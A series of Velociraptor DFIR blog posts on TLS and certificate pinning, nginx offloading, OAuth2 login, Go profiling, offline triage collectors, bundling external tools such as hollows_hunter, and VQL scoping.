Self-signed mode uses internal CAs for the TLS certificates. The client knows it is in self-signed mode if the Client.use_self_signed_ssl flag is true.
Proper certificates minted by Let’s encrypt.

Velociraptor verifies self-signed TLS certificates using its built in CA. This essentially pins the server’s certificate inside the client — even if a MITM was able to mint another certificate (even if it was trusted by the global roots!) it would not be valid since it was not issued by Velociraptor’s internal CA which is the only CA we trust in this mode! In this way self-signed mode is more secure than use a public CA.

The Client.pinned_server_name specifies the common name of the server (or DNS name in the Server Alternate Name (SAN) field). The client verifies that the certificate is correct AND that the name is the same as the pinned name. You typically do not need to change this setting.

If the client is not in self-signed mode (i.e. Client.use_self_signed_ssl is false or not present), it expects to verify TLS connections using the system’s root certificate store. In this configuration, Velociraptor is susceptible to a MITM SSL inspection proxy, and we must rely on the internal encryption mechanism as described in the previous section to protect communications.

NOTE: In practice we find that often customer networks do contain SSL inspection proxies and using self-signed certificates breaks communications altogether. We typically prefer to deploy Let’s Encrypt certificates for reliability and better interoperability.

Debugging client communications

Now that we have an understanding on the low level communication mechanism, let’s try to apply our understanding to debugging common deployment issues.

If the client does not appear to properly connect to the server, the first thing is to run it manually (using the velociraptor client -v command):

In the above example, I ran the client manually with the -v switch. I see the client starting up and immediately trying to connect to its URL (in this case https://test.velocidex-training.com/ ) However this fails and the client will wait for a short time before retrying to connect again.

A common problem here is network filtering making it impossible to reach the server. You can test this by simply running curl with the server’s URL.

Once you enable connectivity, you might encounter another problem

The Unable to parse PEM message indicates that the client is trying to fetch the server.pem file but it is not able to validate it. This often happens with captive portal type of proxies which interfere with the data transferred. It can also happen if your DNS setting point to a completely different server.

We can verify the server.pem manually by using curl (note that when using self-signed mode you might need to provide curl with the -k flag to ignore the certificate errors):

Note that the server.pem is always signed by the velociraptor internal CA in all deployment modes (even with lets encrypt). You can view the certificate details by using openssl:

curl https://test.velocidex-training.com/server.pem | openssl x509 -text

SSL Offloading

The Velociraptor server is very fast and can typically handle many thousands of clients connected at the same time. One of the largest limitations though is SSL processing. Typically SSL operations can take a significant amount of CPU resources in performing cryptography (we noted previously that Velociraptor’s own cryptography can be cached and therefore usually does not use much CPU).

Once approach to help scalability is to offload SSL processing to special reverse proxies. Typically these can use hardware cryptography acceleration to offload crypto from the CPU.

In this example, we will show how nginx can be used to terminate the TLS connections and then forward plain HTTP connections to the Velociraptor server (Many cloud provides also offer a cloud version of an SSL load balancer). This setup is also suitable if you want to use standard certificates (i.e. not Let’s Encrypt ones).

First I will install nginx according to any number of tutorials on the net (for this or this). My config file is as follows:

server {
     server_name test.velocidex-training.com;
     location /gui {
          proxy_pass http://127.0.0.1:8889/gui;
          proxy_redirect     off;
          proxy_set_header   Host $host;
     }

     location / {
         proxy_pass http://127.0.0.1:8000;
     }

    listen [::]:443 ssl ipv6only=on; # managed by Certbot
    listen 443 ssl; # managed by Certbot
    ssl_certificate /etc/letsencrypt/live/test.velocidex-training.com/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/test.velocidex-training.com/privkey.pem; # managed by Certbot
    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot

}
server {
    if ($host = test.velocidex-training.com) {
        return 301 https://$host$request_uri;
    } # managed by Certbot

    listen 80;
    listen [::]:80;

    server_name test.velocidex-training.com;
    return 404; # managed by Certbot
}

I am using certbot to manage the lets encrypt certificates and I have two main routes:

URLs starting with /gui/ will be redirected to the Velociraptor GUI port (by default port 8889) using plain HTTP.
All other URLs will be redirected to the frontend port (port 8000) using plain http.

Now I need to make Velociraptor listen on plain http instead of the default TLS. I do this simply by adding the use_plain_http: true flag both to the GUI and Frontend sections.

I also specify the GUI to listen on the path starting with “/gui” instead of the root — this allows nginx to proxy the GUI at a different URL to the default.

On the client’s side, the server appears to be a proper SSL server. The client needs to connect to nginx which will present a valid certificate. Therefore the client needs to specify use_self_signed_ssl: false (or omit it) and also specify a https URL as the server’s location (i.e. Client.server_urls: [https://test.velocidex-training.com/]).

Conclusions

We have seen that Velociraptor utilizes its own PKI to secure client/server communication. This PKI is used both to prevent interception of messages as well as preventing messages from being forged. The server verifies the client the message came from and the client verifies the server before it connects to it.

In addition, Velociraptor uses standard TLS communications to deliver messages using POST requests. TLS connections can either be self-signed (but pinned) or use public CA PKI. Using a standard network protocol allows Velociraptor to easily fit into any modern corporate network (which might include SSL interception proxies etc).

By understanding how the communication takes place, we saw how we can debug network problems and even configure a reverse proxy for TLS offloading — an important feature to be able to scale even higher.

If you are interested in learning more about Velociraptor, check out our courses on https://www.velocidex.com/training/ or join us on discord https://www.velocidex.com/discord.

Velociraptor SSO Authentication

Sun, 16 Aug 2020 01:38:44 +0000

The Velociraptor GUI allows administrators and DFIR team members to rapidly respond and hunt across their entire deployment in seconds. This is a powerful capability, and must be adequately protected.

Modes of authentication

Velociraptor supports two modes of authentication:

Basic authentication
Single Sign On using third party OAuth2 logon flow.

In the basic authentication mode, GUI users are added by the administrator and given passwords. When a user logs into the GUI, their browser prompts them to enter a username and password, and the password hashes are checked against those hashes stored in the database.

This traditional authentication flow is simple to use and implement but has a number of shortfalls — the main one being that the user needs to remember yet another password for Velociraptor and so they are likely to reuse an existing password. Modern secure applications also use 2 factor authentication as an additional security mechanism with potentially complex authentication schemes (e.g. secure token).

OAuth2 flow

Velociraptor supports delegating the authentication to an identity provider (Currently GitHub, Microsoft or Google and potentially many others in future). This means that Velociraptor never gets to see a user’s password or actually logs them in at all — Velociraptor relies on the OAuth2 provider to assert that the user authenticated correctly (and potentially used the required 2FA method). There are many resources about OAuth2 for example this or the RFC6749 also has a lot of details.

While the OAuth2 protocol allows an application to request access to different resources owned by the user, Velociraptor only requests basic access to their email address — Velociraptor associates ACL policies with the user’s email address.

The following steps are performed to log a user into the Velociraptor GUI:

The User’s browser makes a request to the Velociraptor GUI
Velociraptor redirects the browser to the OAuth2 provider (e.g. Google)
The user logs on to their provider and receives a consent screen asking them if they wish to authorize Velociraptor to receive their email address.
Once the user authorizes the app, the OAuth2 provider redirects back to the Velociraptor **callback URL **with a token. The callback URL is the path location within the Velociraptor App that will handle the incoming token.
At this point Velociraptor already knows the user’s email address and can log them in, as long as they have sufficient permissions (The Velociraptor ACL model still applied).

The advantage of this scheme is that Velociraptor never handles user passwords, and additional authentication requirements like 2FA can be imposed by the OAuth2 provider.

Google OAuth2

Velociraptor previously only supported Google as an OAuth2 provider. However this recently changed when new providers were added.

This post outlines the process of setting up OAuth2 authentication for both GitHub and Microsoft O365 environments.

GitHub OAuth2 flow

Setting up a GitHub OAuth2 application is detailed in their extensive developer docs, so I will not repeat it here. I will just include a screenshot of the final screen. For this example I will set up one of our training VMs:

The most important item in this form is the Authorization callback URL, which must be of the form

https://public DNS name/auth/github/callback

Once I click Register Application, GitHub will provide me with a client id and a client secret — Those are used by Velociraptor to send authorization requests to GitHub for authentication.

Now that we have the client id and secret we can create our configuration file using the interactive config generator

velociraptor.exe config generate -i

Be sure to enter the proper external DNS name of your Velociraptor server, select Authenticate users with SSO and choose GitHub as the provider. Velociraptor will show once again, the correct redirect URL that needs to be entered into the GitHub form as we have seen above.

Finally enter the GitHub client ID and secret and create the server config files. To deploy on a typical Debian based VM, simply build the debian package ready to deploy to your server.

I will now push the Debian package to the server and install it using SCP and SSH. When I navigate to the public URL at https://vm1.training.velocidex.com I am redirected to GitHub to authenticate and upon authorizing the app I can log into my Velociraptor server.

The GitHub OAuth2 flow is excellent! I received an email immediately when my user was authorized and I can see the total number of users authorized to this application.

Microsoft Azure OAuth2 flow

Many Velociraptor users are using Office 365 and Azure to manage their organizations. I can set up the Microsoft OAuth2 flow in a very similar way to the previous flow. The only main difference with O365 is the concept of tenants — Azure provides each organization with a tenancy which is normally their domain name.

First I will navigate to the Azure Active Directory application and select App Registrations. Click on New registration to add a new App.

Now I provide the app with a name. Here I can select if this app should be used by users from different tenants or restricted to my org only.

Finally enter the callback URL as before. Note that this is a different URL because it is using the Azure authenticator within Velociraptor. When submitting this, Azure AD will only create a client ID for our application. We need to manually create the client secret using an additional step in the UI. I will select Certificate & Secrets from the menu.

Then create a new secret by giving it a name and an expiry.

Now we have both the client id and secret from the previous screen. We simply need to copy those to the configuration wizard. This time we need to provide the tenant ID as well.

After installing this server and accessing it with a web browser, the authentication will redirect to Microsoft to authenticate the user.

Conclusions

We have seen how to secure the GUI with the new OAuth2 providers. Having a choice of providers allows different organizations to deploy Velociraptor safely at scale and integrate Velociraptor directly into their enterprise architecture.

Note that OAuth2 is only responsible for authentication — i.e. the user is who they claim to be. It does not automatically grant them any permission within the GUI. If a user does not have a specific ACL record they will be rejected:

You can assign or delete users using the velociraptor user add command. You can also assign roles to users using the velociraptor acl grant commands. The configuration wizard offers to provision an initial set of administrator users for smoother install, but you can always add users later using the command line.

If your favorite authentication provider is not yet supported, please file a feature request on our GitHub project, or even send us a pull request!

Profiling the beast

Sun, 16 Aug 2020 00:38:44 +0000

Photo by Daniel Cheung on Unsplash

Photo by Daniel Cheung on Unsplash

You might have previously heard about Velociraptor — fast becoming the standard open source agent for endpoint monitoring and collection. Being an open source project provides users with visibility into the inner workings of the tool since anyone can see the source code and even contribute to it!

While I usually write about Velociraptor features that make DFIR work easier and more effective, this time I am actually going to talk about a feature of the Golang programming language itself (which Velociraptor is written in). Golang provides unprecedented visibility to the state of production binaries, and these mechanisms are available and easily accessible within Velociraptor.

This post introduces new tools available for users since the 0.4.8 release to more easily gain visibility into the inner workings of Velociraptor, and be able to share these with the developers in order to assist in finding and fixing bugs. Although the post will focus on the very technical low level details available for developers, end users can see how they can assist developers by collecting important runtime information (Or even using it to understand what the tool is actually doing).

Endpoint Telemetry

Those who have already seen Velociraptor in action might be very familiar with the built in telemetry available within the tool. The Velociraptor endpoint agents (termed Client) collect memory and CPU utilization information about the agent process every 10 seconds and send it to the server. The client performance stats are available right in the host overview page.

In the example above we see a typical hunt running on this specific endpoint — the CPU load spikes for a few seconds to a few minutes, then when the collection completes, the CPU load returns to normal levels (at less than 1% of one core), and a short time later memory use is also returned to the system. Of course depending on the specific hunt run, the amount of work the client has to do may be larger and take longer.

Similarly, the server also collects telemetry periodically, which you can see on the main dashboard (this data is also available using Prometheus/Grafana which are more appropriate for larger deployments). Again depending on the amount of post processing done on the server the CPU and memory footprint can vary.

Profiling

Velociraptor is written in Golang and one of the more useful (if not well advertised) feature of the Go runtime is the ability to profile the running program. Most programming languages have mechanisms to profile running code and collect information about memory allocations, backtraces etc — however in many programming languages, this information can only be collected by running a special debug build of the binary.

What makes Golang different is that every binary has the ability to profile itself out of the box. Obviously this capability is disabled by default (since profiling itself has a non-trivial runtime cost) but it can simply be switched on at runtime for a limited time and then switched off. This means that we do not need to restart the binary in debug mode, nor replace a running binary with a special debug build! As a developer, I can not overstate the usefulness of this!

If we see a Golang process running in production and want to inspect its inner working all we need to do is enable profiling for a short time (say 30 seconds) capturing execution traces without restarting or otherwise affecting the running process!

Velociraptor exposes this functionality by simply offering the profile() VQL function. This is then utilized by two artifacts:

The Generic.Client.Profile artifact allows collecting profile information for a running client on the endpoint.
The Server.Monitor.Profile artifact similarly allows to collect profiling information from the server.

In the following example we examine how profiling can be used to gain an understanding of what is going on under the covers.

Example — recursive file hash

To illustrate this process I will launch a CPU heavy collection on my endpoint. I create a new artifact collection of the Windows.Search.FileFinder artifacts, searching recursively for all files below C:\Users and hashing them all.

This collection is very CPU intensive and actually takes some time to complete on the endpoint. I can tell this because the CPU footprint in the host’s VQL drilldown pane shows the collection progressing with CPU load around 100% of a core and memory use between 50 and 100mb for about 8 minutes.

For the sake of this discussion, assume that I am not 100% sure what is going on with this collection and why it is taking so long (although I have a theory!). I can remotely acquire profiling information from the client, while the collection is taking place!

Simply schedule a new collection of the Generic.Client.Profile artifact, selecting the CPU profile checkbox (There are a number of other debugging data and traces that can be acquired at the same time but I won’t go into these here).

When launching this collection, the profiles will be acquired concurrently (note that Velociraptor can collect multiple artifacts at the same time). So actually collecting the Generic.Client.Profile artifact will result in collecting information on whatever else is happening within the Velociraptor process at the same time — Collecting this artifact essentially starts recording traces for 30 seconds, then stops recording traces and sends those traces back.

By default the profile is taken over 30 seconds, after which it is uploaded to the server like any uploaded file. I can simply download the profile from the Uploaded Files tab by clicking the link.

After downloading the profile file, I convert it to a callgrind format, so it can be viewed by my favourite profile inspector kcachegrind (there are other similar viewers and the Golang one is called pprof).

$ go tool pprof -callgrind -output=profile.grind profile.bin
$ kcachegrind profile.grind

The kcachegrind tool allows me to interactively inspect the relative CPU time spent on each function. In the screenshot above we can see the left pane showing the relative amount of time taken by each function. The bottom right pane shows an interactive call graph visualizing how each function spends its time. In this case we can see the HashFunction.Call() function is responsible for 65% of the time spent. In turn it spends about 5% of CPU time reading the file, 4% calculating the sha1, 10% the sha256 and 3.5% the md5 hashes. (The exact numbers will depend on the actual set of files present on the endpoint)

Scrolling the call graph in this case shows that the os.Open() function spends about 35% of the time. Since os.Open() is not a part of our own code, it shows we end up spending most of our time in the operating system. In fact 35% of our time is spent waiting for Windows Defender’s real time scanner (which blocks os.Open for us as it scans the files on demand — Windows defender is a huge performance killer.).

Our job as Velociraptor developers is to spend as little time as possible in our own code relative to the time spent in the operating system or external libraries.

The function’s source code is shown in the top right pane and we see how much time is spent at each line of code. This makes it easy to see what function calls end up taking the most time and guides our thinking into possible optimizations

A performance bug arises when our function does more work than is necessary and therefore spends too long doing it. This slows down processing. Clearly in this case the biggest contributors are hashing and filesystem operations which exist outside our code base — so this VQL query is pretty good already.

NOTE: The astute reader may spot 5.8% lost to the garbage collector through calls to makeslice() in line 67. These calls were eliminated by a recent commit.

Conclusions

Velociraptor is an open source project — exposing its inner working to all users. While we do not require users to be able to understand the profiling information themselves, they are able to easily collect this data on running production deployments.

By exposing debugging and profiling tools in an easy way to end users, developers enable users to attach more useful traces to bug reports, and allow developers to assist in a more efficient way than simply reporting qualitative information such as high memory use or non-performant code.

The profiling traces are typically much smaller than full memory core dumps and usually do not contain sensitive information. Profiles only contain high level statistics about memory and CPU usage (For example the CPU profile we saw in this article are obtained by statistic analysis of sampled backtraces).

We find this extremely valuable in the Velociraptor project, but the same approach can be replicated by any Golang project:

By exposing profiling and debugging information to our users, in running production binaries we are able to easily get high value visibility into hard to reproduce error conditions and therefore be more effective in isolating and fixing bugs.

If you are interested in looking inside Velociraptor’s inner workings, check out the GitHub page and join us on Discord and our mailing list.

Triage with Velociraptor — Pt 4

Tue, 14 Jul 2020 00:38:44 +0000

Woman vector created by vectorpouch — www.freepik.com

Woman vector created by vectorpouch — www.freepik.com

Velociraptor is a great tool for collecting Artifacts such as files and other state information from endpoints. Artifacts are simply VQL queries wrapped inside a YAML file providing the query with sufficient context to operate. Typically the triage phase of the DFIR process involves collecting and preserving evidence as quickly as possible, performing quick analysis in order to identify machines of interest for further analysis.

The previous parts in this triage article series covered various scenarios where Velociraptor can help with triage. Part 1 explored the Windows.KapeFiles.Targets artifact — an artifact primarily focused on collecting and preserving files. Part 2 explained how artifacts can be added to a configuration file embedded inside the binary producing an automated collector — as soon as the binary is run, it will simply collect the artifacts it was pre-programmed with. Part 3 levels up our capabilities and shows how to automatically upload the collected files to a cloud bucket.

We have received a lot of feedback from users about the processes described in these articles and to be honest it is a bit fiddly — one needed to edit YAML config files and call a sequence of commands to make it work.

Therefore, in recent releases, Velociraptor has grown a GUI to make this process much easier and more robust. This article will introduce this GUI and discuss how you can build a custom offline collector that collects a bunch of artifacts, then uploads them into a cloud bucket.

Installing a local server

Before we can create a new custom collector, we need to access the GUI — this means running a minimal Velociraptor server. If you already have a proper Velociraptor server deployed you could just use that. For this article I will work on windows by spinning up a local temporary server.

First I have downloaded and installed the official MSI package from the Velociraptor releases page. This will unpack the executable in the **C:\Program Files\Velociraptor\ ** directory.

In order to start a Velociraptor server I will create new server configuration file by running the interactive wizard using

# velociraptor.exe config generate -i

We will be running the server on Windows, Using the FileBaseDataStore with a Self-signed SSL configuration. I will also add a user called “mic” to the server (basically I pressed enter on each question to accept the default).

Now I can start the frontend using:

# velociraptor.exe -c server.config.yaml frontend -v

The GUI will be listening on https://127.0.0.1:8889/ by default. So let’s visit it with our browser

Building the offline collector

An offline collector is simply a binary which is pre-configured to collect certain artifacts — when the user runs it without arguments, the binary will start collecting the artifacts and then terminate.

The script that actually builds the binary is a server side VQL artifact (it is actually running VQL on the server) hence we need to launch it from the “Server Artifacts” screen on the left sidebar.

Click the Build Collector button to bring up an artifact search dialog. This dialog is very similar to the one you use to collect artifacts from the endpoint in a client/server model — and for a good reason! An offline collector is simply a way to collect the artifacts that we could have collected using a client/server without having a full Velociraptor deployment. We are using sneakernet rather than internet to transfer the files, but the data we collect are exactly the same!

For this example, we will collect the KapeFiles targets as in previous articles. Simply click add to add this artifact to the collection set. You can add multiple different artifacts at the same time. Note that you are not restricted to just collect files! You can collect processes, memory or any other artifact you can think of — Velociraptor will just collect each one into the one output zip file.

Configuring the artifacts

Velociraptor artifacts take parameters to control and customize the VQL they run. Depending on the chosen artifacts, different parameters will be available for configuration. Simply scroll down to select which Kape target file to collect As a reminder a KapeFile target (.tkape) file is a simple YAML file specifying a file glob pattern selecting certain files to collect.

We will simply select the BasicCollection which includes things like the registry hives, the USN Journal etc. When we are happy with the collection, click Next.

Velociraptor will repack the Velociraptor binary with the required artifacts, so here we need to select the target operating system. Let’s leave the Collection Type as Zip Archive for now — this simply creates a large Zip file containing all the collected data. Clicking Next now begins the build process. The first time we run this after install, Velociraptor will contact GitHub to download all the binaries it might require so it might take a few minutes to get started.

This process simply ends up calling the Server.Utils.CreateCollector artifact. The Artifact runs VQL query which creates the packed binary (on the server) and uploads it to the server again. We can simply click* “Prepare Download”* to obtain a zip file with the executable in it.

Running the collector

I will now download the zip file from the server and extract the collector into the download directory for testing.

Simply running the binary will begin to collect all the artifacts we specified — in this case the KapeFile Basic Collection target. Finally an output Zip file and a HTML report will be produced using the hostname and timestamp.

Including external tools

Since release 0.4.6, Velociraptor has built in support for external tools. This means that artifacts that declare tools that they need will receive those binaries on the endpoint when they are being collected. We previously described this process using the client/server model.

When building an Offline collector, Velociraptor will also embed the external tools directly into the binary without needing to do anything different with the artifact. Note that the offline collector does not download the tool from an external URL — the tool is already packaged in the collector binary itself.

The artifact will run the same way when used in client/server mode or in offline collector mode. This makes it easier to use the same reusable VQL in different contexts.

Let’s try to collect the same artifact we did previously — the hollows hunter artifact. Just to recap the artifact is shown below

name: Custom.Windows.Detection.ProcessHollowing
description: |
   Use hollows_hunter to detect suspicious process injections.

   Upload any findings to the server, including process dumps.

tools:
 - name: hollows_hunter
   url: https://github.com/hasherezade/hollows_hunter/releases/download/v0.2.7.1/hollows_hunter64.exe

sources:
  - precondition:
      SELECT OS From info() where OS = 'windows'

    query: |
      -- Get the path to the hollows_hunter tool and a fresh temp directory.
      LET binaries <= SELECT FullPath, tempdir() AS TempDir
      FROM Artifact.Generic.Utils.FetchBinary(
         ToolName="hollows_hunter")

      -- Run the tool and relay back the output, as well as upload all the files from the tempdir.
      SELECT * FROM chain(
      a={SELECT Stdout, NULL AS Upload
         FROM execve(argv=[binaries[0].FullPath,
           "/json", "/dir", binaries[0].TempDir], length=100000)},
      b={
        SELECT upload(file=FullPath) AS Upload
        FROM glob(globs="*", root=binaries[0].TempDir)
      })

I will just add it to the Offline Collector builder

Build the collector as before… extract it to the downloads directory again and launch the collector binary.

We can see that the hollows_hunter64.exe binary is copied into a temp file, executed and its results uploaded into the zip file. All temp files are cleaned up after collection.

Collecting to the cloud.

Previously we collected files into a local Zip file. Sometimes it is more convenient to upload the collection to a cloud bucket so the user does not need to worry about transferring a large collection to us.

To do this, simply select a different Collection Type — I will choose AWS bucket or you can also upload to Google Cloud Storage. You will need to obtain an upload key for the S3 bucket. This is described in the AWS documentation. You should also restrict key access to the bucket to upload only since the keys are embedded inside the collector binary (See the AWS examples on user policies).

Running this, the collector will automatically upload the zip file and the report to the cloud bucket.

Conclusions

Velociraptor is simply a VQL evaluation engine. Although it works best in client/server mode sometimes we have to use an offline collector. The Offline collector is independent and pre-programmed to collect the most appropriate artifacts for triage and then upload the data to a safe location. You can launch the offline artifact across the network via group policy, WMI or WinRM as a kind of poor-man’s remote forensics platform.

Remember that the offline collector is not limited to simply collecting files! It has the full power of Velociraptor at its disposal so it can collect any volatile machine state that can be collected by Velociraptor — including process memory scanning and dumping, file yara scans, MFT analysis and more.

Velociraptor in the tool age

Mon, 13 Jul 2020 00:38:44 +0000

Velociraptor is a powerful endpoint visibility tool. It has plugins and parsers for many file formats, such as raw NTFS access, raw registry hive, prefetch files etc.

However, as most DFIR professionals know, there are so many tools out there that we would love to use in our IR work. One of the strengths of Velociraptor is its flexibility afforded by the use of the Velociraptor Query Language (VQL).

We have written before on how VQL can be extended by use of short PowerShell scripts, by including these scripts directly in the Artifact definitions. This is a great way to extend the functionality provided by VQL, but what if we wanted to launch a completely separate binary on the endpoint, or a larger powershell module? How can Velociraptor facilitate the distribution, coordination and collection of tool output from thousands of endpoints efficiently and quickly?

Since release 0.4.6, Velociraptor supports including external tools directly in the artifact definition. This makes it easier than ever before to use external tools in your artifacts transparently — Velociraptor will ensure the tool is downloaded to the endpoint if needed and is available for use in your VQL.

Example: Hollows hunter

To illustrate the process, we will use the hollows hunter tool as an example. This tool is written by the amazing HASHEREZADE who develops a bunch of useful tools to inspect binaries in memory (most famous is the pe_sieve tool).

We would like to develop a Velociraptor artifact that collects all processes potentially injected by using the hollows hunter on the endpoint. Before we start though, we need to actually have such a sample to test on.

Thanks to the Atomic Red Team we can use a simple test to inject a dll into notepad++. I will use the test for T1055 to inject the dll into notepad++.exe on my test VM (which has the Process ID 4108):

Now we can check that hollows hunter detects this:

Writing the artifact

We now create the artifact in the Velociraptor GUI. Start off by selecting the “View Artifacts” pane in the left sidebar and click the* “New Artifact”* button to bring up the artifact editor UI. The editor will have a pre-filled in template which helps to guide the user to produce the correct syntax so I will just edit that.

The first thing I will do is name the artifact “Custom.Windows.Detection.ProcessHollowing”. Since this is a custom artifact, it must start with the word **Custom. **to keep it distinct from Velociraptor’s built in artifacts. I can also add a quick description to help users understand what this artifact does.

Next I will declare that this artifact needs the hollows_hunter tool. Velociraptor will ensure this tool is available on the endpoint when the artifact is collected. The tool’s name is simply a string that I will use to refer to the tool below. It will be automatically added to Velociraptor’s inventory of external tools.

By providing the url, Velociraptor can fetch the tool by itself from this URL. If the tool is not yet known to Velociraptor, the server will fetch the file and calculate the hash the first time and store it. In the next section we can see how to manage tools in Velociraptor.

Now we are ready to write the VQL that will use the tool. The VQL will run on the endpoint during collection and will need a valid path to the hollows hunter executable. Velociraptor will manage uploading the executable to the endpoint and caching the binary locally, ensuring its hash does not change over time. To make this process as easy to use as possible, as far as the artifact writer is concerned, they simply need to call the “Generic.Utils.FetchBinary()” artifact to get a path to the local binary.

The first VQL query simply calls the Generic.Utils.FetchBinary() artifact with the required tool name (Note that we don’t need to specify a url since this is already known to the system). We assign the result of this query to the “binaries” variable — which will contain an array of rows as is always the case with assigning a query to a variable (in this case only one row).

At the same time we also obtain a temporary directory to store results in. This directory will be automatically removed when the query ends to clean up.

Next we call the binary using the execve() plugin with the appropriate arguments — We wish to dump the memory of affected processed and write json results into the temp directory (The length parameter forces the execve() plugin to wait until the buffer is full before emitting the row — this will wait until the program is done and emit a single row with Stdout as a column.)

After the hollows hunter program ends, we glob over all the files in the temp directory and just upload them to the server (we chain the two queries together using the chain() plugin).

The complete artifact can be seen below:

name: Custom.Windows.Detection.ProcessHollowing
description: |
   Use hollows_hunter to detect suspicious process injections.

   Upload any findings to the server, including process dumps.
tools:
 - name: hollows_hunter
   url: https://github.com/hasherezade/hollows_hunter/releases/download/v0.2.7.1/hollows_hunter64.exe

sources:
  - precondition:
      SELECT OS From info() where OS = 'windows'

    query: |
      -- Get the path to the hollows_hunter tool and a fresh temp directory.
      LET binaries <= SELECT FullPath, tempdir() AS TempDir
      FROM Artifact.Generic.Utils.FetchBinary(
         ToolName="hollows_hunter")

      -- Run the tool and relay back the output, as well as upload all the files from the tempdir.
      SELECT * FROM chain(
      a={SELECT Stdout, NULL AS Upload
         FROM execve(argv=[binaries[0].FullPath,
           "/json", "/dir", binaries[0].TempDir], length=100000)},
      b={
        SELECT upload(file=FullPath) AS Upload
        FROM glob(globs="*", root=binaries[0].TempDir)
      })

Collecting from the endpoint

Now let’s test this artifact by collecting it from our test VM. Simply search for the hostname in the search box, and view the* “Collected Artifacts”* pane to see previously collected artifacts. Click the “Collect new artifacts” button and search for our newly created hollows hunter artifact.

Click* “Launch Collection” *to collect it from the endpoint. We can view the query log as it is executing on the endpoint to really appreciate what is happening behind the scenes.

The endpoint initially does not have a copy of the hollows hunter binary cached locally, so it needs to download it. The endpoint will now sleep a random time before actually downloading it in order to stagger downloads from potentially thousands of endpoints in a hunt.

After a short sleep, the endpoint will download the binary directly from GitHub, it will then calculate the hash of the binary it downloaded with the expected hash that was sent by the server. If the hashes match, then the endpoint will keep this file in the temp directory. The hash comparison protects endpoints from the GitHub binary changing unexpectedly.

Finally, the endpoint simply runs the tool, and uploads the results to the server.

The user can access those results as normally by simply getting the results in a zip file from the Artifact Collection tab.

We can now also hunt for this on our entire fleet to retrieve all the injected binaries in minutes!

Note that once the binary is cached on the endpoint, the Velociraptor client will not need to download it again, as long as the cached hash matches the expected hash.

Tool support — deep dive

In the above example, from the point of view of the artifact writer, the hollows hunter binary just magically appeared on the endpoint when it was required by an artifact that used it. How does this actually work?

Velociraptor has integrated support for external tools since 0.4.6. The tools are managed by the velociraptor tools command. You can see what tools Velociraptor knows about using the velociraptor tools show command:

We can see that Velociraptor knows the hash of the hollows hunter tool and it also keeps a copy of the binary in the filestore under a special obfuscated name.

Using a custom tool

Previously we have seen that the endpoints all downloaded the hollows hunter binary directly from GitHub. In practice, if you have thousands of clients all trying to download the same binary in a hunt it might trigger GitHub’s DDoS protections. At larger scale it might be better to serve binaries from more reliable source, like cloud buckets or Velociraptor’s server itself.

Suppose we also wanted to use a special version of hollows_hunter (perhaps an unreleased version with extra features or detections) so we would really like to host the binary ourselves.

We can directly upload our custom version to Velociraptor using the velociraptor tools upload command

Velociraptor will now serve the binary from the frontends directly when used (seen by the serve_locally flag). Note that the binary will still only be downloaded if the local copy on the endpoint does not have the required hash so if this is a frequently used tool it will generally not generate a lot of download traffic.

Conclusions

The aim of the new tool integration is to have Velociraptor automatically manage local caching on the endpoint of external files. It is possible to have the endpoints download the files from any URL, or serve it locally from Velociraptor itself. Either way, Velociraptor ensures the file integrity by specifying in the collection request the required file hash.

Although in this example we used a binary on the endpoint, this is not necessary. The scheme works just as well with any file type. For example, sysmon configuration files can also be kept in a central place and artifacts can sync them on the endpoint and load them as required.

The ability to resync tools on the endpoint opens the door to versioned files. For example, we frequently use Yara rule files containing frequently changing signatures from threat feeds and other intel. By updating the hashes on the Velociraptor server we can force endpoints to use the latest version of the signatures whenever an artifact is run, but only if they don’t already have the latest pack of yara rules (which may be large).

Caching the files locally means the overheads of downloading the file each time is eliminated, the artifact YAML itself contains all one needs to collect this specific type of evidence. In the above example, we can collect the hollows hunter multiple times, but the binary will only be actually downloaded once per endpoint. The next collection will simply use the same local binary while its hash is not changed.

To play with this new feature yourself, take Velociraptor for a spin! It is a available on GitHub under and open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord

The Velociraptor Query Language Pt 2

Fri, 19 Jun 2020 00:38:44 +0000

In our previous article I introduced the basics of the Velociraptor Query Language (VQL). We have learned the basic structure of VQL is similar to the SQL SELECT statement

However, one of the main differences between SQL and VQL is that VQL’s data sources are not simple data tables, but are instead executable code termed “plugins”. VQL plugins are simply generators of rows, and may take a number of named arguments.

The scope

Just like most other programming languages, VQL has a concept of a scope. You can think of the scope as a bag of names referring to values. When VQL encounters a symbol reference within in the query, the VQL engine will consult the scope at that point and try to resolve the symbol’s name for an actual object.

For example consider the following simple query

SELECT * FROM info()

When VQL encounters the symbol “info” it looks at the scope object used to evaluate the query, for a plugin with that name. If there is such a plugin, VQL will call it and extract rows from it.

Scopes can also be nested — a scope is not one simple dictionary, instead it is a stack of dictionaries. Looking up a name in the scope walks the scope stack in reverse order (from inner scope to outer scope) looking for a match.

Consider the above query SELECT OS FROM info(). The query begins with a parent scope and then VQL will run the info() plugin. The plugin will emits a row containing information about the platform. VQL will then create a nested subscope appending the row to the parent scope, and propagate the row further in the query.

The column selector in this query refers to the symbol OS. In order to resolve this symbol, VQL will walk the nested scope in reverse and will find a column called OS in the row. This will resolve the name and end the search, causing the OS to be emitted into the result set.

Lets crank it up a bit — what if we refer to an unknown symbol?

In the above query SELECT OS, Foo FROM info() we refer to an unknown symbol called Foo. VQL will attempt to resolve this symbol by walking the scope stack as before, but since the symbol is not known this will fail.

VQL emits a warning that Symbol Foo is not found and helpfully prints the current scope at the point of resolution. As you can see from the warning message, the scope consists of a list of layers, each layer has a set of columns. This is why we refer to the scope as a scope stack.

The last element in the scope stack is the row produced by the info() plugin. (As can be seen by the usual columns emitted by info() including an OS column).

Note that VQL emits a warning but the query keeps going — most errors in VQL are “soft” errors that do not terminate the query from running. VQL does its best to continue with query execution as much as possible.

The foreach plugin and looping

The previous section covered the query scope in what seems like a rather theoretical and very computer science manner — why should you care about it? The concept of scope is central to VQL and it is critical to understanding how data moves throughout the query.

Consider the example of the foreach() plugin. Unlike SQL, VQL does not support joins. Instead, VQL provides a plugin to enable data from two different data sources to be combined.

